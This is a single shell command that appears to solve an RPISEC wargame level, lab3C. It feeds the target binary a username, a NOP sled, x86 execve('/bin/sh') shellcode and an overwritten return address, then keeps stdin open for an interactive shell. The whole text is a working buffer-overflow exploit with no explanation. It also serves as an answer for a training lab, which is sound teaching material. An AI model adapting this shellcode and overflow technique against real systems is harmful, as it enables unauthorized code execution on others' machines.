(perl -e 'print "rpisec\n" . "\x90"x39 . "\x90" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" . "\x90"x12 . "\x20\xfe\xff\xbf" . "\n"'; cat;) | env - /levels/lab03/lab3C
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lab3B